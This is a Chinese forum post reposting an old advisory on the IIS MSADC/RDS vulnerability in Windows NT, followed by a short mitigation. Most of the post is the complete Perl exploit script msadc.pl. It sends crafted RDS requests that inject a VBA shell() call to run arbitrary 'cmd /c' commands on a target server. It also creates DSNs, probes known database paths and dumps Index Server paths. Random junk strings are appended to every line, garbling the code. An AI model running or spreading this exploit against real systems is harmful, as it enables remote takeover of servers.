社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167583阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) s y>}2orj~  
'a G`qPB  
涉及程序: {<Y\flj{@m  
Microsoft NT server Kp>fOe'KW  
_*++xF1  
描述: O96%U$W  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /kAbGjp0  
/" @cv{  
详细: ,j(S'Pw  
如果你没有时间读详细内容的话,就删除: w^MiyX  
c:\Program Files\Common Files\System\Msadc\msadcs.dll !md1~g$rN  
有关的安全问题就没有了。 sp6A* mwl  
/YHnt-}v,  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 uZa)N-=b2  
M\9+?  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @T%8EiV  
关于利用ODBC远程漏洞的描述,请参看: t8.^YTI  
x:+]^?}r  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ZMGC@4^F  
mD7kOOMY  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 G UK %R C8  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp `#?]g!  
Dlg9PyQ  
这里不再论述。 %ZX3:2  
d "25e"(~F  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: t:YMF$Z  
%7 $X *  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (w`j?c1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 9\>{1"a  
0~BZh%s< (  
] QJ7q}  
#将下面这段保存为txt文件,然后: "perl -x 文件名" %*OQH?pyx}  
Mp06A.j[  
#!perl >dnDN3x  
# 3x)jab  
# MSADC/RDS 'usage' (aka exploit) script "Ug+# ;}p$  
# @b{$s  
# by rain.forest.puppy o,'Fz?[T%  
# <sG}[:v  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me MP~+@0cv  
# beta test and find errors! .9q`Tf  
)H+p6<  
use Socket; use Getopt::Std; =m 6<H  
getopts("e:vd:h:XR", \%args); f1 `E-  
JvYs6u  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; @_ Tq>tOr&  
w,LB  
if (!defined $args{h} && !defined $args{R}) { WQsu}_g5y  
print qq~ Y?:" nhN  
Usage: msadc.pl -h <host> { -d <delay> -X -v } jXIVR'n(  
-h <host> = host you want to scan (ip or domain) r |2{( +  
-d <seconds> = delay between calls, default 1 second Gm=e;X;r  
-X = dump Index Server path table, if available T }Wse{  
-v = verbose /]2I%Q  
-e = external dictionary file for step 5 3g5D[>J'  
&3:<WU:U  
Or a -R will resume a command session p MR4]G  
g#o9[su  
~; exit;} IGo+O*dMw  
1V-sibE  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; &.JJhX  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 5:%`&B\  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Y)7\h:LIg  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ?L6wky{  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ( ; _AP.  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7V&ly{</  
+@~e9ZG%a  
if (!defined $args{R}){ $ret = &has_msadc; bd[iD?epD]  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} =b>e4I@  
[^gb6W9Y  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 6uxF<  
. "cmd /c "; m,&2s-v  
$in=<STDIN>; chomp $in; py6O\` \  
$command="cmd /c " . $in ; d3NER}f4V  
ps33&  
if (defined $args{R}) {&load; exit;} 9/{ 8Y&  
3*-!0  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; a\KM^jrCD  
&try_btcustmr; +1c[!;'  
@{ L|&Mk!  
print "\nStep 2: Trying to make our own DSN..."; {dlG3P='`f  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; kArF Gb2c  
!w/]V{9`X  
print "\nStep 3: Trying known DSNs..."; Yn>FSq^Wp-  
&known_dsn; czK}F/Sg`  
y:k7eE"  
print "\nStep 4: Trying known .mdbs..."; (^m~UN2@~m  
&known_mdb; t-Ble  
AR c  
if (defined $args{e}){ V!s#xXD}  
print "\nStep 5: Trying dictionary of DSN names..."; G6qFAepwi  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } d"S\j@  
3dgPP@7d$  
print "Sorry Charley...maybe next time?\n"; $5@[l5cJU;  
exit; **c"}S6:mC  
zr wzI+4  
############################################################################## NKRm#  
;8cTy8  
sub sendraw { # ripped and modded from whisker DIgur}q)@  
sleep($delay); # it's a DoS on the server! At least on mine... jVna;o)  
my ($pstr)=@_; Wr8}=\/  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I0G[K~gb  
die("Socket problems\n"); IV%Rph>d  
if(connect(S,pack "SnA4x8",2,80,$target)){ Yw\lNhoPS  
select(S); $|=1; CDT;AdRw7  
print $pstr; my @in=<S>; )U{\c2b  
select(STDOUT); close(S); $p*.[)  
return @in; :bkmm,%O  
} else { die("Can't connect...\n"); }} 0Kg?X  
M]xfH*  
############################################################################## =+H,}  
 xF*i+'2  
sub make_header { # make the HTTP request -4obX  
my $msadc=<<EOT ~DS.b-E  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 p9&gKIO_m  
User-Agent: ACTIVEDATA biRkq c;  
Host: $ip <VhD>4f{]  
Content-Length: $clen T-x}o  
Connection: Keep-Alive Q~`{^fo1  
x#hSN|'"  
ADCClientVersion:01.06 V14+?L  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 @0%[4  
B[d%?L_  
--!ADM!ROX!YOUR!WORLD! xRZ/[1f!  
Content-Type: application/x-varg }taG/kE62  
Content-Length: $reqlen ei~f1$zc#h  
9zm2}6r4  
EOT t >Rh  
; $msadc=~s/\n/\r\n/g; Y/ %XkDC~  
return $msadc;} NHe[,nIV  
>` u8(  
############################################################################## w8zr0z  
~.z82m  
sub make_req { # make the RDS request EXR6Vb,  
my ($switch, $p1, $p2)=@_; /x\~ 5cC  
my $req=""; my $t1, $t2, $query, $dsn; <`NtTG  
55=YM'5]  
if ($switch==1){ # this is the btcustmr.mdb query P1 |3%#c  
$query="Select * from Customers where City=" . make_shell(); i?,\>LTG  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 0n\AUgVPF  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .vd*~U"  
0qm CIcg  
elsif ($switch==2){ # this is general make table query ,[3}t%Da  
$query="create table AZZ (B int, C varchar(10))"; m ;wj|@cF  
$dsn="$p1";} ^2i$AM1t  
B;nIKZ  
elsif ($switch==3){ # this is general exploit table query ]`|;ZQiD  
$query="select * from AZZ where C=" . make_shell(); 0a1Mu>P,  
$dsn="$p1";} 6XnUs1O  
EAE#AB-A  
elsif ($switch==4){ # attempt to hork file info from index server gLlA'`!  
$query="select path from scope()"; r4 qs!(  
$dsn="Provider=MSIDXS;";} s+^1\  
.N7&Jy  
elsif ($switch==5){ # bad query 'C@yJf  
$query="select"; +-rSO"nc  
$dsn="$p1";} O{Q+<fBC9  
}%<cF i &  
$t1= make_unicode($query); Q8_5g$X\  
$t2= make_unicode($dsn); u++a0>N  
$req = "\x02\x00\x03\x00"; #A:^XAU1Z@  
$req.= "\x08\x00" . pack ("S1", length($t1)); F4:5 >*:  
$req.= "\x00\x00" . $t1 ; *2/6fhI[p  
$req.= "\x08\x00" . pack ("S1", length($t2)); "B9zQ,[Q  
$req.= "\x00\x00" . $t2 ; ]deO\mB  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; OaY]}4tI$  
return $req;} 3h6,x0AG  
Equ%6x  
############################################################################## aM:tg1g  
/K;AbE  
sub make_shell { # this makes the shell() statement M&e=LV  
return "'|shell(\"$command\")|'";} 21] K7  
i%MR<M  
############################################################################## DmZ_tuVI  
h]4qJ  
sub make_unicode { # quick little function to convert to unicode 9l,8:%X_  
my ($in)=@_; my $out; .~a8\6t  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } [a.(0YLr'w  
return $out;} YVk +zt~S  
sosIu  
############################################################################## .!'rI7Kz'i  
Kr`.q:0GK  
sub rdo_success { # checks for RDO return success (this is kludge) 3%u: c]-wF  
my (@in) = @_; my $base=content_start(@in); VeH%E.:  
if($in[$base]=~/multipart\/mixed/){ .5tXwxad"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} W k"_lJ  
return 0;} |aj]]l[@S  
H~:g =Zw  
############################################################################## V'9OGn2v  
slLTZ]  
sub make_dsn { # this makes a DSN for us e.(RhajB  
my @drives=("c","d","e","f"); ~8'HX*B]z  
print "\nMaking DSN: "; |1Nz8Vr.  
foreach $drive (@drives) { ^5+7D1>W%  
print "$drive: "; iphdJZ/f  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . %v^qQWy=*  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" V1A7hRjxvG  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); yKmHTjX=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 3Q,p,  
return 0 if $2 eq "404"; # not found/doesn't exist McN'J. Sxp  
if($2 eq "200") { Rli`]~!w  
foreach $line (@results) { #t VGqf  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 9gZS )MZ  
} return 0;} !_?HSDAj"n  
X*e:MRw[  
############################################################################## ) urUa E  
5UQ[vHMqI  
sub verify_exists { OQDx82E  
my ($page)=@_; fL gHQ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); YT@N$kOg_  
return $results[0];} ]ij:>O@{$  
5yp  
############################################################################## E.yc"|n7l2  
Ae<;b Of  
sub try_btcustmr { g}vU*g ;  
my @drives=("c","d","e","f"); wD@ wOC  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $:?=A5ttuo  
%F<3_#Y  
foreach $dir (@dirs) { t'C9;  
print "$dir -> "; # fun status so you can see progress N9z!-y'X  
foreach $drive (@drives) { K81&BVx/  
print "$drive: "; # ditto =g=Vv"B_  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1+-F3ROP  
$reqlenlen=length( "$reqlen" ); l%`~aVGJ  
$clen= 206 + $reqlenlen + $reqlen; myB!\ WY   
WhV>]B2+"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ],wzZhA  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 8)J,jh9q  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} y|WOw(#  
+R31YR8C0  
############################################################################## ?[lKft  
a0  w  
sub odbc_error { O[ ^zQA  
my (@in)=@_; my $base; <Q.-WV]Z  
my $base = content_start(@in); ?QzN\f Y;  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this b*< *,Ds/G  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K]i2$M  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bvo }b-]E  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @'S !G"\  
return $in[$base+4].$in[$base+5].$in[$base+6];} McU]U 9:z  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; yy\d<-X~  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . AFNE1q;{\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} kC+dQ&@g{  
1)M%]I4  
############################################################################## N,`<:'  
{7FD-Q[tS  
sub verbose { hC2Ra "te)  
my ($in)=@_; 71Mk!E=1  
return if !$verbose; 6j~'>w(F  
print STDOUT "\n$in\n";} @nF#\  
z^9df(  
############################################################################## <1E* wPm8  
{7o|*M  
sub save { 3 jay V  
my ($p1, $p2, $p3, $p4)=@_; (8.|q6Nww  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; g ??@~\Ov  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ,vUMy&AV  
close OUT;} &k {1N.  
@Tf5YZ*  
############################################################################## {-\VX2:;[9  
LgS.%Mn  
sub load { F!yejn [  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1rhQ{6  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); dg42K`E  
@p=<IN>; close(IN); 2qUC@d<K  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); uCpk1d  
$target= inet_aton($ip) || die("inet_aton problems"); To19=,:  
print "Resuming to $ip ..."; tr\}lfK%  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1PJ8O|Z t8  
if($p[1]==1) { pUaGrdGxzQ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; cLe659&  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; AW:WDNQh8n  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ~*h` ?A0  
if (rdo_success(@results)){print "Success!\n";} *.0#cP7 "  
else { print "failed\n"; verbose(odbc_error(@results));}} geu8$^  
elsif ($p[1]==3){ 8z, |N#  
if(run_query("$p[3]")){ t^qPQ;"=,  
print "Success!\n";} else { print "failed\n"; }} 38T2IN  
elsif ($p[1]==4){ E6d0YgfD  
if(run_query($drvst . "$p[3]")){ htGk:  
print "Success!\n"; } else { print "failed\n"; }} {!hA^[}|  
exit;} we&g9j'  
ZO $}m?  
############################################################################## s9Aq-N  
0SBiMTm  
sub create_table { OQON~&~  
my ($in)=@_; )0JXUC e  
$reqlen=length( make_req(2,$in,"") ) - 28; RWi~34r  
$reqlenlen=length( "$reqlen" ); ~Xg@,?Zr  
$clen= 206 + $reqlenlen + $reqlen; BJI R !J  
my @results=sendraw(make_header() . make_req(2,$in,"")); =?f\o*J)  
return 1 if rdo_success(@results); lT3, G#(  
my $temp= odbc_error(@results); verbose($temp); \{G1d"n  
return 1 if $temp=~/Table 'AZZ' already exists/; 5M2G ;o  
return 0;} ;Qc_Tf=,  
GJY7vS^#  
############################################################################## 7usf^g[dh  
6 ztM(2[  
sub known_dsn { /CAi%UH,F  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go FU|c[u|z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", -$4#eG%3  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", OIa =$l43C  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); C{ {DZ*  
4w:_4qyb  
foreach $dSn (@dsns) { &LO<!WKQ  
print "."; R)"Y 40nW  
next if (!is_access("DSN=$dSn")); a(Bo.T<2@  
if(create_table("DSN=$dSn")){ 9i8D_[  
print "$dSn successful\n"; cZN+D D  
if(run_query("DSN=$dSn")){ QUp()B1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _W4i?Bde  
print "Something's borked. Use verbose next time\n";}}} print "\n";} :cmfy6h]  
gd6We)&  
############################################################################## z6 v RTY  
K4i#:7r'b  
sub is_access { (yduU  
my ($in)=@_; 1q*85 [Y  
$reqlen=length( make_req(5,$in,"") ) - 28; h1Ca9Z_  
$reqlenlen=length( "$reqlen" ); 1o7 pMp=  
$clen= 206 + $reqlenlen + $reqlen; mfO:#]K  
my @results=sendraw(make_header() . make_req(5,$in,"")); nKJJ7'$'3  
my $temp= odbc_error(@results); Z<Rz}8s  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); $Xw .iN]g  
return 0;} ]BU,*YaB  
SeBbI&Ju  
############################################################################## .9WJ/RKZ\D  
}'dnL  
sub run_query { pO$`(+q[  
my ($in)=@_; qx<`Kc4  
$reqlen=length( make_req(3,$in,"") ) - 28; h[%`'(  
$reqlenlen=length( "$reqlen" ); ^9o;=!D!9  
$clen= 206 + $reqlenlen + $reqlen; x2.G1  
my @results=sendraw(make_header() . make_req(3,$in,"")); 2As 4}  
return 1 if rdo_success(@results); EN()dCQHr  
my $temp= odbc_error(@results); verbose($temp); | QJ!5nb  
return 0;} Pv{ {zyc  
!'Xk=+  
############################################################################## o|Obl@CSBD  
X&h4A4#P  
sub known_mdb { _r5Q%8J  
my @drives=("c","d","e","f","g"); OB8fFd  
my @dirs=("winnt","winnt35","winnt351","win","windows"); n 8Jx;j  
my $dir, $drive, $mdb; {j[[E/8N!y  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; u#?K/sU  
U?d1  
# this is sparse, because I don't know of many X3I\O,"I  
my @sysmdbs=( "\\catroot\\icatalog.mdb", )h,+>U@  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ;Yyg(Ex  
"\\system32\\certmdb.mdb", /yyed{q  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% v I@Wuu:  
Q <EFd   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M~;mamTP  
"\\cfusion\\cfapps\\forums\\forums_.mdb", QP)-O*+AA  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", D,dmlv  
"\\cfusion\\cfapps\\security\\realm_.mdb", w"bQxS~$y  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", /sH3Rk.>  
"\\cfusion\\database\\cfexamples.mdb", ,2DKphh  
"\\cfusion\\database\\cfsnippets.mdb", 7NRq5d(lP  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", {QTfD~z^K  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", =;0#F&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", {LbNKjn  
"\\cfusion\\database\\smpolicy.mdb", M ZZ4  
"\\cfusion\\database\cypress.mdb", AYd7qx:~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", EYd`qk 3  
"\\website\\cgi-win\\dbsample.mdb", BQmg$N,F  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", tX cc#!'4C  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" (ta!4h,  
); #these are just g}@_ @  
foreach $drive (@drives) { K5z*DYT  
foreach $dir (@dirs){ g4&zBn  
foreach $mdb (@sysmdbs) { c~b[_J)  
print "."; K& <|94_k  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ #IA[erf:  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; "X g@X5BG  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,Ww)>O+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; [#$-kd~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} R8F[ 7&(  
*TVr| to  
foreach $drive (@drives) { l|^p;z: d  
foreach $mdb (@mdbs) { = \AI92  
print "."; oqB(l[%z2  
if(create_table($drv . $drive . $dir . $mdb)){ m:d P,  
print "\n" . $drive . $dir . $mdb . " successful\n"; GN?^7kI  
if(run_query($drv . $drive . $dir . $mdb)){ +^Eruv+F  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; z 3fS+x:E{  
} else { print "Something's borked. Use verbose next time\n"; }}}} IUAx*R  
} j1*'yvGM  
e3"GC_*#  
############################################################################## 2aX|E4F  
4 FW~Y  
sub hork_idx { m"<0sqD;  
print "\nAttempting to dump Index Server tables...\n"; 6C4c.+S  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; !fZ\GOx  
$reqlen=length( make_req(4,"","") ) - 28; G`9Ud  
$reqlenlen=length( "$reqlen" ); H ifKa/}P8  
$clen= 206 + $reqlenlen + $reqlen; Ii%^z?'  
my @results=sendraw2(make_header() . make_req(4,"","")); wUW^ O  
if (rdo_success(@results)){ *BH*   
my $max=@results; my $c; my %d; d }=fJ  
for($c=19; $c<$max; $c++){ v{Al>v}}n  
$results[$c]=~s/\x00//g; *9y)B|P^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; !'wh hi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; K PSFy<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; B\r2M`N5  
$d{"$1$2"}="";} I'HPy.PV  
foreach $c (keys %d){ print "$c\n"; } G|Rsj{2'  
} else {print "Index server doesn't seem to be installed.\n"; }} u n\!K  
%i{Z@  
############################################################################## aY}:9qBice  
JS <S?j?*/  
sub dsn_dict { SE.r 'J0  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); '#!nK O2<  
while(<IN>){ Y#S<:,/sb?  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; #<s6L"Z-  
next if (!is_access("DSN=$dSn")); 1"YN{Ut;G  
if(create_table("DSN=$dSn")){ DDQ}&`s  
print "$dSn successful\n"; 3}(6z"r  
if(run_query("DSN=$dSn")){ c[J?`8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3O7]~5 j1  
print "Something's borked. Use verbose next time\n";}}} FM;NA{  
print "\n"; close(IN);} v/*}M&vo  
r*HbglB  
############################################################################## `-fWNHs  
N;4bEcWjp  
sub sendraw2 { # ripped and modded from whisker 0gO_dyB  
sleep($delay); # it's a DoS on the server! At least on mine... @W6:JO  
my ($pstr)=@_; )12.W=p  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ">cLPXX  
die("Socket problems\n"); |eykb?j`  
if(connect(S,pack "SnA4x8",2,80,$target)){ VK*Dm:G0  
print "Connected. Getting data"; vz5x{W  
open(OUT,">raw.out"); my @in; /N= }wC  
select(S); $|=1; print $pstr; yJQ>u  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} %]7'2  
close(OUT); select(STDOUT); close(S); return @in; -!;2?6R9{  
} else { die("Can't connect...\n"); }} EP,j+^RVf  
]l4\Tdz  
############################################################################## scX'>\w&c  
`eZzYe(N  
sub content_start { # this will take in the server headers )5T82=[h<  
my (@in)=@_; my $c; &O +?#3  
for ($c=1;$c<500;$c++) { &1 /OwTI4J  
if($in[$c] =~/^\x0d\x0a/){ P5Lb)9_Jw  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Q^\m@7O :  
else { return $c+1; }}} "s-3226kj  
return -1;} # it should never get here actually +YZ*>ki  
<O Y (y#x  
############################################################################## Z8C~o)n9  
L0l'4RRm\  
sub funky { .RNY}bbk  
my (@in)=@_; my $error=odbc_error(@in); 'tTUro1~  
if($error=~/ADO could not find the specified provider/){ wZ4w`|'  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; QB uX#bDV  
exit;} I(<9e"1O  
if($error=~/A Handler is required/){ j,n\`7dD$  
print "\nServer has custom handler filters (they most likely are patched)\n"; >``sM=Wat  
exit;} 6ChFsteGFr  
if($error=~/specified Handler has denied Access/){ "I3 #/~q  
print "\nServer has custom handler filters (they most likely are patched)\n"; }7non  
exit;}} YMN=1Zuj?  
{FQ@eeU  
############################################################################## 7|5X> yt  
{Qi J-[q  
sub has_msadc { u6nO\.TTtY  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); xKR\w!+Z'  
my $base=content_start(@results); X[<%T}s#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 1rx, qfCq  
return 0;} * N]^(+/A  
3v@h&7<E  
######################## Xh}S_/9}5  
y2W|,=Vd  
rD+mI/_J`  
解决方案: 6ao~f?JZ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {J1iheuS}  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 42~.N =2  
y XKddD  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五